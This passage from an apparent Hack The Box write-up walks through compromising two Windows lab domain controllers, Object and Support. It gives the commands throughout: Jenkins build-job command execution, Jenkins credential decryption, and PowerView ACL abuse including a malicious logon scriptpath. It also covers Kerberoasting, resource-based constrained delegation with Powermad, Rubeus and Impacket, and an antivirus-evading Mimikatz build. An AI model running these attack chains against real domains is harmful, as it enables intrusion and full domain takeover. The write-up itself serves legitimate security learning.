username/password brute-force could only use the Kerberos protocol. None of the scripts I found worked, but once I broadened my approach, getTGT could brute-force the hashes too. That was a brilliant idea. Then there was the APT$ machine account. Machine accounts generally have DCSync privileges, so it could directly replicate NTDS.dit. I also learned a new way to trigger NTLM authentication.\nThe machine covered registry queries, writing Bash shell scripts, auditing PowerShell, filtering text (either Bash or Python works; I used Python here), modifying Python scripts (the original programs wouldn\u0026rsquo;t run at all, so I spent ages changing them without managing to fix them), and passing hashes across all kinds of protocols.\nIt touched an enormous range of topics. Later on, I\u0026rsquo;ll probably replay it together with Forest and Fuse. What sets it apart from the previous machines is that those weren\u0026rsquo;t really conventional—they focused on techniques unique to particular services. This one was conventional, but demanded deep familiarity. Otherwise, you would never think of all the approaches above.\n21.Object Recon:\nPort 80 gave me a domain name. There did not seem to be much there, just a redirect.\n8080\nThe admin user exists. I do not think this is meant to make me manually dig for vulnerabilities; there has to be a known way to exploit it.\nThe admin panel is similar to the Azure DevOps setup I studied before, except that one mainly targeted ASPX while this one targets Java. So, in theory, if I can get into the admin panel, I should be able to upload a JSP file just like before and have it deployed normally to the site. That probably means the service on port 80 is deployed from here. All I need to do is get into the admin panel and deploy my webshell. Of course, there could also be automated deployment on a subdomain, so I will need to get in and take a look.\nI casually created an account and entered the admin panel.\nAs far as I know, the path to a shell is right here. Nearly every blog post I found points down this path, but my privileges are clearly insufficient.\nAlso, this is version 2.317.\nIt was released on October 19, 2021, so I need to look for exploits published after 2021. What I can confirm right now is that getting the admin password would unquestionably let me get a shell. However, the box was released on February 8, 2022, which means that if no new CVE appeared during those four months, an exploit would not be the intended route and I would need another method.\nNow I know where the initial password is stored.\nAn arbitrary file read would also make this exploitable. I had been leaving the UDP ports aside because I first wanted to gather more information about these two web services.\nUDP 53\n1 2 dig object.htb @object.htb +notcp dig object.htb @object.htb +notcp AXFR I did not find anything.\n88 Kerberos\nThis did not disclose any useful information, so I moved on.\n123 NTP\n1 2 3 4 5 6 7 8 nmap -sU -sV --script \u0026#34;ntp* and (discovery or vuln) and not (dos or brute)\u0026#34; -p 123 object.htb ntpq -c readlist object.htb ntpq -c readvar object.htb ntpq -c peers object.htb ntpq -c associations object.htb ntpdc -c monlist object.htb ntpdc -c listpeers object.htb ntpdc -c sysinfo object.htb The other checks returned xxxxRequest timed out.\n389 LDAP\nhttps://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3fad0ec9-414c-432a-ba0b-837c74091dd6?redirectedfrom=MSDN\nhttps://serverfault.com/questions/661535/querying-ldap-server-on-udp\nIn other words, it can only be used for authentication. At this point I already had UDP port 88, UDP port 389, and TCP port 5985 for authentication.\nThere was nothing useful over UDP, and dnsenum does not support UDP, so manual brute-forcing was the only option left. I decided to use FFUF to brute-force subdomains.\n1 wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.11.132 -H \u0026#34;Host: FUZZ.object.htb\u0026#34; --hh 29932 By now I was not even completely sure whether this was a domain controller. I turned my attention back to TCP ports 80 and 8080. While brute-forcing subdomains, I also brute-forced directories. I tried running cewl against port 80 and using the resulting list to brute-force passwords on port 8080, but that did not work.\nI could not just sit around waiting for the brute-force jobs. Since the service on port 8080 allowed user registration and access to the admin panel, I figured those features had to be connected somehow. Registered Jenkins users had no projects, so I decided to look up Jenkins tutorials, create a project myself, and deploy it.\nhttps://juejin.cn/post/7077957170121146376\nhttps://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/\nI found the blog posts above.\nPlenty of blog posts explain how to write this; just search for it.\nhttps://community.jenkins.io/t/windows-batch-w-error-ends-unexpectedly-w-status-success/4884/3\nhttps://stackoverflow.com/questions/75830922/execute-windows-batch-command-in-jenkins-for-java-program\nhttps://toolsqa.com/postman/configure-jenkins-job-to-run-batch-command/ # This post covers the entire process, though the commands are not very detailed.\nUnfortunately, after following the whole process, I found that the Build button was missing.\nThat meant I could not execute it, probably because my privileges were insufficient. I started Googling how to trigger a build.\nhttps://ghazanfaralidevops.medium.com/jenkins-popular-build-triggers-automate-the-cicd-pipeline-81cc39f4701b\t# This one introduces all of them.\nhttps://codefresh.io/learn/jenkins/9-jenkins-build-triggers-and-how-to-use-them-effectively/ # This one is more comprehensive than the previous post.\nI tried them one by one, following the tutorials.\nThe first is a scheduled task\nThe post also explained the scheduled-task syntax. * * * * * means building once every minute.\nI got a result here.\nThe console also produced output, which confirmed that commands could be executed here. For learning purposes, I decided to look at the other options too—at least the ones that were not too difficult to set up.\nThe second is the SCM (Source Code Management) trigger\nThe SCM trigger is one of the most commonly used build triggers in Jenkins. It starts a build whenever it detects a change in the source-code repository. This trigger is crucial for continuous integration because it ensures the latest code changes are automatically tested and integrated into the main codebase.\nThis also uses five * characters to check once per minute. As long as I make a commit, the build should complete within a minute.\nI found a project. As soon as Jenkins downloaded and built it, the build step would execute. Unfortunately, it kept saying that it could not connect.\nA build also ran here, but it failed because I had not configured the Git tool. That happened because I did not understand the setup at first. I fixed it later—as the configuration screenshot above shows, I set it to git—but it still threw an error at this point.\nThe third is Trigger builds remotely (e.g., from scripts)\nThe access method is also very simple.\nhttp://object.htb:8080/job/123124/build?token=124124\nFor the token, I just use the number I entered above.\nThat worked too.\nIn the end, I chose the URL trigger. Running it every minute would make the build history grow endlessly, which would be a pain.\nTime to prepare a reverse shell.\nStrangely, the connection failed.\nI was sure it was not a port issue; I simply could not connect. Perhaps all outbound traffic was blocked. That would also explain why the Git attempt earlier failed even though the project definitely existed. In that case, I could only use the intended way to get a shell: WinRM. Before using WinRM, though, I needed an account.\nBefore trying my idea, I decided to inspect the firewall configuration.\nhttps://learn.microsoft.com/en-us/powershell/module/netsecurity/get-netfirewallrule?view=windowsserver2022-ps\nI found the command syntax here; everything is documented on the page above.\n1 2 3 4 5 6 powershell /c \u0026#34;Get-NetFirewallRule -PolicyStore ActiveStore -Direction Outbound -Action Block -Enabled True\u0026#34; -PolicyStore All firewall rules in the active store -Direction Outbound policy -Action Block policy -Enabled Enabled state Sure enough, all outbound traffic was blocked. At this point, the only way to get a shell was to obtain information through this web service and then connect over WinRM. Before I achieved RCE through the build project, there had been a hint about where the admin password was stored. The Linux location I found at the time was confing.xml; on Windows, it apparently looked like this:\nThat was it. I could simply use dir /S to find it.\nIndeed, I did not find confing.xml.\nI searched again. The hint said the password file was called config.xml, so I searched for it again, this time including hidden files.\n1 2 3 cd C:\\ dir /S jenkins* dir /S /a config.xml Barring any surprises, this should be it.\nExactly as described here.\nhttps://medium.com/@sdanerib/getting-started-with-jenkins-docker-part-iii-reset-jenkins-admin-password-when-you-have-a-ff81ffa6774f\nThis post gave me the answer: the filename config.xml was correct.\nThe password was right there. I had seen this result earlier, but at the time I did not realize it was the password.\n1 2 3 4 \u0026lt;username\u0026gt;oliver\u0026lt;/username\u0026gt; \u0026lt;password\u0026gt;{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}\u0026lt;/password\u0026gt; \u0026lt;passwordHash\u0026gt;#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW\u0026lt;/passwordHash\u0026gt; I could not find a blog post explaining the decryption process. I only found a few GitHub projects.\nhttps://github.com/hoto/jenkins-credentials-decryptor\nThis one, for example, was very detailed, so I followed it. If it did not work, I would keep looking.\n1 2 3 4 $JENKINS_HOME/credentials.xml $JENKINS_HOME/secrets/master.key $JENKINS_HOME/secrets/hudson.util.Secret $JENKINS_HOME/jobs/example-folder/config.xml - Possible location I needed these files.\n1 2 3 4 5 6 7 8 9 10 $JENKINS_HOME/secrets/master.key c:\\\u0026gt;dir /S /a master.key Volume in drive C has no label. Volume Serial Number is 212C-60B7 Directory of c:\\Users\\oliver\\AppData\\Local\\Jenkins\\.jenkins\\secrets c:\\Users\\oliver\\AppData\\Local\\Jenkins\\.jenkins\\secrets\\master.key $JENKINS_HOME/secrets/hudson.util.Secret c:\\Users\\oliver\\AppData\\Local\\Jenkins\\.jenkins\\secrets\\hudson.util.Secret It appeared to be a binary file. That was easy enough to handle: whenever I run into a binary file, I can usually Base64-encode it and decode it again. I found this method:\n1 2 certutil -f -encode c:\\Users\\oliver\\AppData\\Local\\Jenkins\\.jenkins\\secrets\\hudson.util.Secret c:\\Users\\oliver\\AppData\\Local\\Jenkins\\.jenkins\\secrets\\1.txt type c:\\Users\\oliver\\AppData\\Local\\Jenkins\\.jenkins\\secrets\\1.txt No problem.\n1 2 3 4 5 6 gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu 2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHO kX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2L AORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9 GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzc pBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA= 1 2 base64 -d 1.txt \u0026gt; hudson.util.Secret cat hudson.util.Secret I started decrypting by downloading the file from the project above.\nIt threw an error. I went back to following the GitHub instructions.\n1 2 3 4 5 curl -L \\ \u0026#34;https://github.com/hoto/jenkins-credentials-decryptor/releases/download/1.2.2/jenkins-credentials-decryptor_1.2.2_$(uname -s)_$(uname -m)\u0026#34; \\ -o jenkins-credentials-decryptor chmod +x jenkins-credentials-decryptor Their command uses uname at the end to detect the system, so it was better to use that instead of downloading the file manually.\nSame result. I checked the files several times and was certain there was nothing wrong with them.\nSomeone else had run into the same problem, but the author never replied.\nI searched for the error message.\nThere was an explanation here. Based on the note, I could roughly understand what was happening: the file types of hudson.util.Secret and master.key might be wrong.\nBecause I copied and pasted it directly, master.ket had become ASCII text. I tried to check what type it was on the target.\nUnfortunately, after searching for a while, I could not find a Windows command that determines whether a file is binary. I decided to stick with Base64 so I would not have to worry about the file type.\nThat was a complete waste of time. I went back to config.xml and read it out with Base64 too, but it still did not work after decoding.\nhttps://github.com/tweksteen/jenkins-decrypt/\nHere was another script.\nAfter fixing it, I ran it again and got yet another error.\nVery few of the scripts I have used lately seem to work out of the box; I always have to fix them myself. This error was very clear: the function had been removed in Python 3.9. After changing it, I ran into an encoding problem. I left that alone for the time being and switched to another project.\nhttps://github.com/thesubtlety/go-decrypt-jenkins?tab=readme-ov-file\nIt told me there was something wrong with hudson.util.Secret. But looking at what I had done—Base64-encode it, decode it, and write it to a file—it should have been fine. I tried again, but the result was the same. I could not take it anymore, so I checked a write-up. Its steps were exactly the same as mine, with no difference at all.\nI even copied their import command verbatim, but it still threw an error. I started wondering whether this software only broke on my machine. I was completely out of ideas. I even considered packaging that Python 3 file, converting it to Base64, and uploading it to the target.\nBut 150,000 lines was completely unrealistic.\nAfter a lot of searching, I found the answer. On Kali, I habitually open files in Vim and write content into them. That was how I created master.key, but doing so added one extra byte. master.key should be 256 bytes. Whether I used Vim, echo, or Base64 encoding and decoding, it always ended up as 257 bytes even though I definitely had not added a newline.\n1 2 wc -c master.key 257 master.key It only became the correct 256 bytes after I pasted it into a file on Windows. I do not know why pasting it on Kali added a byte while pasting the same content on Windows gave exactly 256.\nI moved the correct master.key file from Windows back to Kali and, unsurprisingly:\nEverything decrypted successfully. I had spent half the day fighting a bad file.\nAdding -n also solves the issue. None of the other write-ups mentioned this. I suspect the issues I saw earlier had the same cause and nobody realized it.\nNow I had the password.\n1 2 3 4 5 6 7 [ { \u0026#34;id\u0026#34;: \u0026#34;320a60b9-1e5c-4399-8afe-44466c9cde9e\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;c1cdfun_d2434\u0026#34;, \u0026#34;username\u0026#34;: \u0026#34;oliver\u0026#34; } ] oliver had a home directory, so I could try credential reuse against WinRM.\nI got in. Time for privilege escalation. Neither whoami /priv nor systeminfo revealed anything useful.\n1 cmd /c \u0026#34;netstat -ano | findstr LISTENING\u0026#34; The result matched my earlier UDP scan: this was a domain controller. Time to upload SharpHound.\n1 upload SharpHound-v2.5.9/SharpHound.exe Then I downloaded the output locally.\nStrangely, the archive clearly contained data, but I could not import it.\nIt would hang forever. I thought my BloodHound installation was broken, so I uploaded a ZIP I had collected previously. That one extracted and parsed successfully.\nSo the file I had just collected was the problem.\nhttps://www.cnblogs.com/tysec/p/16811651.html\nI tried the method from this post, but that failed too.\nhttp://www.luckysec.cn/posts/7ebaa71c.html\nThis post gave me the answer, but my data collector was already the latest version, so why did it not work? BloodHound 4.0.3 was supposed to be compatible at least, so I tried that.\nIt was easy enough: extract it and run it.\nhttps://github.com/BloodHoundAD/BloodHound/releases\n1 ./BloodHound --no-sandbox Still no luck. I suspected another file issue. I rebooted Kali, but that did not help either. My only option was to check write-ups again and see whether anyone else had the same problem. Unfortunately, nobody did. One post did give me a clue, though: it was written in 2022 and used a 2022-era version of the collector. This collection step was what finally let me solve the issue. If someone runs into the same problem later, at least they will have a way around it.\nhttps://github.com/BloodHoundAD/SharpHound/releases?page=3\nDownload the earliest version and use the PS1 file inside it for collection.\n1 powershell -exec bypass -command \u0026#34;Import-Module ./SharpHound.ps1; Invoke-BloodHound -c all\u0026#34; Then start the latest BloodHound, not version 4.0.3. Mine was:\nImport the newly collected file and it works. Finally! Maybe the target domain environment was too complex? Whatever the reason, the collector kept producing bad data that BloodHound could not parse.\nI used the current user as the starting point to see how to escalate privileges. It was a bit messy, so I worked through it one step at a time. net user had shown me two other users.\nTheir exact permissions were as follows.\nThe path was much clearer this way: change smith\u0026rsquo;s password, then control maria and use her to add smith to Domain Admins.\nHere is the overall path.\nWith the path mapped out, I worked through it step by step.\nFirst, change smith\u0026rsquo;s password.\n1 2 3 4 5 6 7 8 9 $SecPassword = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential(\u0026#39;OBJECT.HTB\\oliver\u0026#39;, $SecPassword) $UserPassword = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force upload /home/kali/Desktop/bruteratel/server_confs/PowerView.ps1 . .\\PowerView.ps1 Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword -Credential $Cred Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword The smith user seemed to have disappeared; it could not be found.\n1 Get-DomainUser It did exist after all. Since I already had permission to change smith\u0026rsquo;s password, I removed the credential argument at the end.\n1 Set-DomainUserPassword -Identity smith -AccountPassword $UserPassword It ran without errors.\n1 evil-winrm -i object.htb -u smith -p Password123! I got in successfully. Next, I followed the help text for the next step. Again, I removed the explicit authentication because I was already smith.\n1 2 Set-DomainObject -Identity maria -SET @{serviceprincipalname=\u0026#39;nonexistent/BLAHBLAH\u0026#39;} Get-DomainSPNTicket maria | fl Another error. It said it could not validate the argument on the SPN parameter, which was strange. I entered it again and removed |fl as well.\n1 2 Set-DomainObject -Identity maria -SET @{serviceprincipalname=\u0026#39;nonexistent/BLAHBLAH11\u0026#39;} Get-DomainSPNTicket maria This time I got a result and successfully created an SPN for maria. From here, it was back to familiar territory: when an account has an SPN, I can request its TGS and crack it.\nhttps://github.com/uknowsec/Active-Directory-Pentest-Notes/blob/master/Notes/%E5%9F%9F%E6%B8%97%E9%80%8F-SPN.md\nMy previous work had mostly been remote pentesting. This post explained how to exploit it from inside the domain.\nhttps://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1\n1 2 . .\\Invoke-Kerberoast.ps1 Invoke-kerberoast -outputformat hashcat |fl At the same time, I also tried Rubeus.exe.\n1 .\\Rubeus.exe kerberoast Both returned nothing. Could I really not obtain a TGS even after setting an SPN? I could not understand why. I went back to the write-up. Only one of them was genuinely good: its reasoning was clear and there was a lot to learn from it. It pointed out that if an arbitrarily assigned SPN is not accepted, the SPN needs to have a valid format.\nhttps://learn.microsoft.com/en-us/windows/win32/ad/name-formats-for-unique-spns\n1 setspn -a MSSQLSvc/object.local:1433 object.local\\maria I still could not obtain it, even though I was already smith. The next hint explained that, despite being logged in as smith, I still had to pass credentials here or access would fail. The credentials I had not needed earlier finally came into play.\n1 2 3 $SecPassword = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential(\u0026#39;object.htb\\smith\u0026#39;, $SecPassword) Get-DomainSPNTicket -SPN \u0026#34;MSSQLSvc/object.local:1433\u0026#34; -Credential $Cred Success. However, the next hint said this password could not be cracked even with rockyou, so I left it alone. At least I learned a new method and will be able to react much faster the next time I encounter this situation. Starting the research from scratch in the middle of an engagement would be far too slow.\nGenericWrite can also be used to change the target\u0026rsquo;s password. It did not work here, but I am recording it anyway.\n1 2 $newpass = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force Set-DomainUserPassword -Identity maria -AccountPassword $newpass Next came the hardest part, and the part where I did not quite understand why the box was designed this way. Without reading the write-up, I never would have thought of it. Whoever solved this first was incredible.\nmaria had an automatic logon script and apparently kept logging in, logging out, and logging back in. That meant I could assign her a logon script, which would execute every time she logged in. This is not unique to GenericWrite, either. Modifying a user\u0026rsquo;s scriptpath attribute requires any one of the following permissions:\n1 2 3 4 5 GenericWrite GenericAll WriteDacl WriteOwner WriteProperty In other words, whenever I encounter one of these permissions in the future, I can try writing a logon script. That was another new technique learned. In a future environment, for example, I could write a reverse-shell script, and it would immediately call back as soon as the user logged in. That would not work here, of course, because all outbound traffic was down.\nInstead, I could build a script that listed the home directory and wrote the output to a directory accessible by both the current user, smith, and maria.\n1 2 echo \u0026#34;ls \\users\\maria\\ \u0026gt; \\programdata\\out\u0026#34; \u0026gt; C:\\\\programdata\\\\cmd.ps1 Set-DomainObject -Identity maria -SET @{scriptpath=\u0026#34;C:\\\\programdata\\\\cmd.ps1\u0026#34;} While browsing the directories, I found Engines.xls.\n1 2 echo \u0026#34;copy \\users\\maria\\desktop\\Engines.xls \\programdata\\\u0026#34; \u0026gt; cmd.ps1 download Engines.xls It contained several passwords. I could simply try them one by one.\n1 crackmapexec winrm object.htb -u maria -p password.txt 1 evil-winrm -i 10.10.11.132 -u maria -p \u0026#39;W3llcr4ft3d_4cls\u0026#39; I imported PowerView.ps1, made maria the owner of Domain Admins, and then added her to the group.\n1 2 3 4 5 6 7 . .\\PowerView.ps1 # Both commands below work Set-DomainObjectOwner -Identity \u0026#39;Domain Admins\u0026#39; -OwnerIdentity \u0026#39;maria\u0026#39; Add-DomainObjectAcl -TargetIdentity \u0026#34;Domain Admins\u0026#34; -PrincipalIdentity maria -Rights All Add-DomainGroupMember -Identity \u0026#39;Domain Admins\u0026#39; -Members \u0026#39;maria\u0026#39; After changing the ACL, I had to log in again for it to take effect.\nDone.\nThis box was incredibly difficult. I still wanted to verify one thing: as smith, I could assign a logon script to maria. I already knew maria could add herself to Domain Admins and then grant someone else administrator privileges. If I put that entire chain into the logon script, would that mean I did not need to know maria\u0026rsquo;s password at all?\n1 echo \u0026#39;. C:\\programdata\\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity \u0026#34;Domain Admins\u0026#34; -PrincipalIdentity maria -Rights All; Add-DomainGroupMember -Identity \u0026#34;Domain Admins\u0026#34; -Members \u0026#34;smith\u0026#34;\u0026#39; \u0026gt; C:\\programdata\\cmd.ps1 It worked perfectly. Maybe the original author intended this route too, but then realized it would be far too difficult because there was no certainty that each command would execute successfully.\n22.Support Information gathering:\nThere was no web service, so I started with SMB, then moved on to RPC and LDAP.\nAnonymous access was enabled. After connecting, I found several files and searched for them one by one. It looked like a software repository. The main point was that if the software existed online, it probably would not be useful; if it was custom-made, though, it could be valuable.\nUserInfo.exe.zip was the only one I could not find online. Everything else was a tool that could be used offensively.\nI started another VM. I could have run it directly on my physical machine, but there was far too much traffic when I captured packets there, and it was a mess. So I decided to capture it inside the VM and see what the program actually did.\nGot it.\nIt requested a domain over LDAP, so I added the domain to my hosts file.\nYou can see that it sent the request and resolved the internal IP, but it got stuck because the address was unreachable.\nIt still failed. In Wireshark, I could see my VM constantly sending requests to the Wi-Fi gateway while also trying the VPN address, but for some reason the packets were not getting through.\nFor some reason, following the stream produced nothing.\nIt was unreachable. I later discovered that switching VPNs had caused the problem; reconnecting the VPN fixed it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PS C:\\Users\\peter\\Desktop\\UserInfo.exe\u0026gt; .\\UserInfo.exe find -first * raven.clifton anderson.damian monroe.david cromwell.gerard west.laura levine.leopoldo langley.lucy daughtler.mabel bardot.mary stoll.rachelle thomas.raphael smith.rosario wilson.shelby hernandez.stanley ford.victoria That gave me a pile of usernames. I still was not entirely sure how it obtained them. I had only seen an LDAP request earlier, so they were probably returned by an LDAP query. Everything after that was encrypted by the VPN, and I could not decrypt it.\nI passed one of the usernames I had found to the user parameter and finally got a response.\nSure enough, this was LDAP. I got stuck here. If it could connect automatically, I could not figure out how from IDA; that was a bit beyond me. I did learn about a new decompiler here, though, and it seemed friendlier. File inspection showed that UserInfo.exe was a .NET program, meaning it was written in C#, so I could use the decompiler below.\nhttps://github.com/dnSpy/dnSpy/releases\nFound it. There were two approaches. One was static debugging: set a breakpoint, or take the encrypted value and find a way to decrypt it. But I could not read C#, did not know how it performed the encryption, and the exam did not allow me to ask AI. There was no way I could learn it on the spot. Even though I could not really read the language, the program logic was similar enough; only the syntax and functions differed. Still, I ruled out manual decryption here.\nThe username was right there and was literally called ldap. I was not sure whether the quotation mark was part of the password, but I could test that shortly.\n1 ldap:\u0026#34;nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz\u0026#34; The other option was dynamic analysis. The application did not encrypt the packets itself; what I had seen as encrypted traffic in Wireshark was OpenVPN encryption, which was why I could not inspect the actual contents. If I pointed the LDAP server at my own machine, however, the traffic would not pass through the VPN and I would receive everything in plaintext. This was actually what I had planned to do from the beginning because moving my VPN setup around was a pain, but I kept hitting an error that I had not solved. Time to fix it.\nhttps://www.dedoimedo.com/computers/wine-dotnet-mono.html\nhttps://askubuntu.com/questions/644236/mono-does-not-appear-to-be-installed-error-winetricks\nUsing these two guides together solved the problem.\nIt worked normally now.\n1 2 responder -I tun0 wine UserInfo.exe -v find -first admin On Kali, both Wireshark and Responder captured it without any problem. I had no idea why I could not capture it on Windows. Even when the domain pointed to the real IP, 10.10.11.174,\nthe traffic was still unencrypted and could be captured. Yet when I tried this on Windows at the start, it simply never worked.\nNo problem here.\nNothing special here either.\nWinRM did not work.\nIt seemed that I could only query LDAP. I could check whether any service accounts had SPNs, which might provide a foothold.\n1 GetUserSPNs.py support.htb/ldap:\u0026#34;nvEfEK16^1aM4\\$e7AclUf8x\\$tRWxPWO1%lmz\u0026#34; -dc-ip 10.10.11.174 -request Nothing turned up. I checked whether LDAP could reveal a few more users, then planned to spray the password I had just found against them.\n1 2 ldapsearch -x -H ldap://support.htb:389 -D \u0026#34;CN=ldap,CN=Users,DC=support,DC=htb\u0026#34; -w \u0026#34;nvEfEK16^1aM4\\$e7AclUf8x\\$tRWxPWO1%lmz\u0026#34; -b \u0026#34;DC=support,DC=htb\u0026#34; ldapsearch -x -H ldap://support.htb:389 -D \u0026#34;CN=ldap,CN=Users,DC=support,DC=htb\u0026#34; -w \u0026#34;nvEfEK16^1aM4\\$e7AclUf8x\\$tRWxPWO1%lmz\u0026#34; -b \u0026#34;DC=support,DC=htb\u0026#34; | grep -iE \u0026#34;mail\u0026#34; I collected these accounts, but there was no real difference from what the program above had returned.\n1 crackmapexec smb support.htb -u 1.txt -p \u0026#34;nvEfEK16^1aM4\\$e7AclUf8x\\$tRWxPWO1%lmz\u0026#34; No result. On the previous box, I noticed that many write-ups pasted the box description at the beginning, and those descriptions sometimes contained useful information. I was stuck here, so I went to read the description.\nThat gave me an idea, although it felt like far too much of a spoiler—almost no different from reading a write-up. Still, I suppose this was one possible line of thought. The main goal was to learn the approach and the techniques.\nIf I had looked carefully, I could actually have spotted it. This user\u0026rsquo;s information had no mail field, the username did not contain a period, and the LDAP query did not return it alongside entries like the ones above. So you really do need to inspect everything carefully.\n1 support:Ironside47pleasure40Watchful 1 2 3 crackmapexec winrm support.htb -u support -p Ironside47pleasure40Watchful evil-winrm -i support.htb -u support -p Ironside47pleasure40Watchful bloodhound-python -d support.htb -u support -p Ironside47pleasure40Watchful -ns 10.10.11.174 -c all I loaded the data into BloodHound to take a look.\nI checked the help to see whether this could be exploited directly.\nThe tutorial did not recommend its first method, but it was still potentially usable.\n1 net user Administrator Password123! /domain That produced an error, so I decided to use the second method it recommended.\n1 2 3 4 # First, upload PowerView.ps1 upload ../../PowerView.ps1 $UserPassword = ConvertTo-SecureString \u0026#39;Password123!\u0026#39; -AsPlainText -Force Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword Sure enough, I could not change the password. This path was a dead end.\nWhile exploring this route, I found that the current user had GenericAll over the Domain Admins group. I tried a method I found online:\nhttps://www.hackingarticles.in/abusing-ad-dacl-generic-all-permissions/\nThat failed too because I did not have enough privileges.\nI never expected the path to look like this.\nI found it by following the hint. But when I tried SUPPORT as the starting point and DC.SUPPORT.HTB as the destination, this path did not appear. It also did not appear when I pointed it at administrator. At least I learned another method: in the future, I can use the current user\u0026rsquo;s group as the starting point and map a path to administrator.\nI started reading the help. Since it was all in English, I also found a blog on Google and used the two together.\nIt mentioned that resource-based constrained delegation was possible here. First, I prepared the following files and uploaded them to the target.\n1 2 3 4 5 https://github.com/Kevin-Robertson/Powermad/blob/master/Powermad.ps1 Powermad.ps1 https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 PowerView.ps1 https://github.com/GhostPack/Rubeus/releases/tag/1.6.4 Must be compiled manually First, I created a computer account controlled by the current account. This required importing Powermad.ps1.\n1 2 . .\\Powermad.ps1 New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString \u0026#39;Summer2018\u0026#39; -AsPlainText -Force) Then I imported PowerView.ps1 and retrieved the new computer account\u0026rsquo;s SID.\n1 2 . .\\PowerView.ps1 $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid Next, I needed to use the SID of the computer added by the attacker as the principal, construct a generic ACE, and obtain the binary bytes of the new DACL/ACE. I did not fully understand the underlying mechanics of this step, so I would have to take it slowly. I had actually used resource-based constrained delegation on FOREST before and even took notes, but I had forgotten how it worked. This was a good chance to review it.\n1 2 3 4 5 6 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \u0026#34;O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))\u0026#34; $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc.support.htb | Set-DomainObject -Set @{\u0026#39;msds-allowedtoactonbehalfofotheridentity\u0026#39;=$SDBytes} -Verbose Get-DomainComputer support -Properties msds-allowedtoactonbehalfofotheridentity | select -ExpandProperty msds-allowedtoactonbehalfofotheridentity 1 2 .\\Rubeus.exe hash /password:Summer2018 .\\Rubeus.exe hash /password:Summer2018 /user:attackersystem /domain:support.htb According to the tutorial, this step should have given me the RC4 hash, but I got no output at all.\nAbsolutely nothing.\nIt produced output on Kali. If I could not use this to obtain the RC4 hash, I would not be able to exploit the delegation.\nI uploaded Mimikatz, but after the upload completed, I noticed that it had disappeared.\nThat confirmed it: antivirus was running on the target. It immediately killed the Mimikatz binary I uploaded, and that was also why Rubeus.exe had never run successfully.\nhttps://github.com/wangfly-me/mimikatz_bypass/releases/tag/v1.0\nI used the antivirus-bypass version from that repository. RC4 here was effectively the NTLM hash, so I hashed the password I had created.\n1 7f4f718d5029000926a9278c5cfd0872 The next step in the tutorial was to request an ST, but the command below still did not work.\n1 .\\Rubeus.exe s4u /user:attackersystem$ /rc4:7f4f718d5029000926a9278c5cfd0872 /impersonateuser:administrator /msdsspn:cifs/dc.support.htb /ptt Mimikatz did not work either.\n1 .\\code_x64.exe \u0026#34;kerberos::ptt /user:attackersystem$ /domain:support.htb /rc4:7f4f718d5029000926a9278c5cfd0872 /target:cifs/dc.support.htb /impersonate:administrator\u0026#34; \u0026#34;exit\u0026#34; There was still another way. I had already reached the final step of obtaining the ST, and geST.py matched exactly what I needed. I could access ports 88 and 389 on the target, so Impacket was a good option at this point.\n1 2 ntpdate -u support.htb \u0026amp;\u0026amp; date getST.py -spn cifs/dc.support.htb -impersonate administrator support.htb/attackersystem$:Summer2018 It finally worked. That was painful. I started importing the ticket using the same method I had documented before.\n1 2 3 4 export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache /usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass administrator@dc.support.htb /usr/share/doc/python3-impacket/examples/smbexec.py -k -no-pass administrator@dc.support.htb I had clearly imported it, yet it still failed. I tried every command above and none of them worked.\nThis blog post gave me the answer: https://github.com/fortra/impacket/issues/779\nEvery time I ran an Impacket script, I had to synchronize the clock first. I had already disabled local time synchronization, but it still behaved this way. Now that I had run into the issue, I would know how to solve it the next time it happened.\n1 2 ntpdate -u support.htb \u0026amp;\u0026amp; date /usr/share/doc/python3-impacket/examples/wmiexec.py support.htb/administrator@DC.support.htb -k -no-pass Done.\nThis was a really good box for broadening my skills. During the initial shell stage, I learned to identify the language an application was written in and then find the matching decompiler. It was just like Python and Java: once you use the appropriate decompiler, the code logic is understandable (I genuinely cannot make sense of IDA). This one was C#, and I found the right decompiler for it. I also learned how to run EXE files with Wine on Kali. I had kept getting 